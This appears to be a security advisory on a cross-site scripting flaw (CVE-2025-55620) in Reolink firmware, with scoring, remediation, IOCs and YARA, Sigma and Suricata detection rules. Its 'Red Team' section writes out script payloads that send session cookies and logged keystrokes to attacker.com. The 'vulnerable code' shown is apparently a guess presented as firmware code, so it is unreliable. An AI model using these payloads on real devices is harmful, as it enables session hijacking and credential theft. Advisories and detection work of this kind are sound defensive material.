CVE-2025-55620

Executive Summary

CVE-2025-55620 is a stored cross-site scripting (XSS) vulnerability discovered in the valuateJavascript() function of Reolink firmware version 4.54.0.4.20250526. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the device's web interface, potentially leading to session hijacking, credential theft, or further compromise of the device and its network. The vulnerability resides in the JavaScript evaluation logic, which fails to properly sanitize user-supplied input before processing it in a dynamic execution context. As of this report, no official patch has been released by Reolink, and the vulnerability is considered unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Reolink's embedded web server.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must visit a crafted page or click a link.
• Scope (S): Changed (C) – impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited modification possible.
• Availability (A): None (N) – no impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch and public PoC elevates the risk for targeted attacks against Reolink devices.

Deep Dive & Mechanics

The vulnerability is located in the valuateJavascript() function, which is part of Reolink's web interface JavaScript code. This function is designed to evaluate JavaScript expressions dynamically, likely for configuration or status updates. The flaw occurs because the function does not properly sanitize or escape user-supplied input before passing it to eval() or a similar dynamic execution context.

Attack Flow:

1. An attacker crafts a malicious payload containing JavaScript code, e.g., <script>alert('XSS')</script> or a more sophisticated payload for session hijacking.
2. The attacker injects this payload into a parameter that is later processed by valuateJavascript(). This could be through a URL parameter, form field, or API endpoint.
3. When a legitimate user accesses the affected page, the payload is executed in the context of the user's browser, allowing the attacker to steal cookies, redirect the user, or perform actions on behalf of the user.

Root Cause: The valuateJavascript() function uses eval() or new Function() without input validation, allowing arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Reolink firmware 4.54.0.4.20250526):

function valuateJavascript(input) {
    // No sanitization
    return eval(input);
}

Patched Code (Hypothetical fix):

function valuateJavascript(input) {
    // Sanitize input by escaping HTML entities and removing script tags
    var sanitized = input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    // Alternatively, use a safe parser instead of eval
    return safeEvaluate(sanitized);
}

Note: Since no official patch exists, the patched code is a best-practice recommendation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Reolink device running firmware version 4.54.0.4.20250526.
• Network access to the device's web interface.
• A victim user who will interact with the crafted payload.

Exploit Steps:

1. Identify an injectable parameter. For example, the name parameter in the device's configuration page.
2. Craft a payload to steal session cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Inject the payload via a URL or form submission:

   http://reolink-device/config?name=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. When an admin visits the page, the payload executes, sending the session cookie to the attacker's server.
5. Use the stolen cookie to hijack the admin session.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious parameters containing <script> or javascript:.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly update firmware and apply patches when available.

Mitigation:

• Disable JavaScript evaluation functions if not needed.
• Sanitize all user inputs using a library like DOMPurify.
• Use innerText instead of innerHTML when displaying user data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in parameters.
  • Outbound connections to unknown IPs on port 80/443 from the Reolink device.
  • Unusual Referer headers pointing to attacker-controlled domains.

• Host IOCs:

  • Modified configuration files on the Reolink device.
  • Unexpected JavaScript files or scripts in the web root.
  • Presence of eval() calls in web logs.

• File IOCs:

  • Suspicious entries in /var/log/lighttpd/error.log or similar logs.
  • New or modified files in /www/ directory.

Detection Engineering

YARA Rule

rule CVE_2025_55620_Reolink_XSS {
    meta:
        description = "Detects XSS payloads targeting Reolink valuateJavascript function"
        author = "Valters IT"
        date = "2025-06-10"
        reference = "CVE-2025-55620"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $eval_call = /valuateJavascript\s*\(/
    condition:
        $eval_call and $xss_payload
}

Sigma Rule

title: Reolink XSS via valuateJavascript
id: 8a3f5c2e-1b4d-4f7a-9c6e-2d8b0a1e3f5c
status: experimental
description: Detects XSS attempts against Reolink devices using the valuateJavascript function
author: Valters IT
date: 2025-06-10
logsource:
    category: webserver
    product: reolink
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script>'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in configuration
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55620 Reolink XSS Attempt"; flow:to_server; content:"valuateJavascript"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Access: If not required, disable remote access to the Reolink device's web interface.
2. Network Segmentation: Place the device on a separate VLAN with strict firewall rules.
3. Monitor Logs: Enable detailed logging and monitor for suspicious activity.

Long-term Fixes:

1. Apply Patch: Once Reolink releases a firmware update, apply it immediately.
2. Input Validation: Implement strict input validation and output encoding for all user-supplied data.
3. Replace eval(): Refactor valuateJavascript() to use a safe JSON parser or a sandboxed JavaScript interpreter.
4. CSP Headers: Add Content Security Policy headers to restrict script sources.

Workarounds:

• Use a reverse proxy with WAF capabilities (e.g., Nginx with ModSecurity) to filter XSS payloads.
• Block access to the device's web interface from untrusted networks.

Valters IT
Securing Digital Frontiers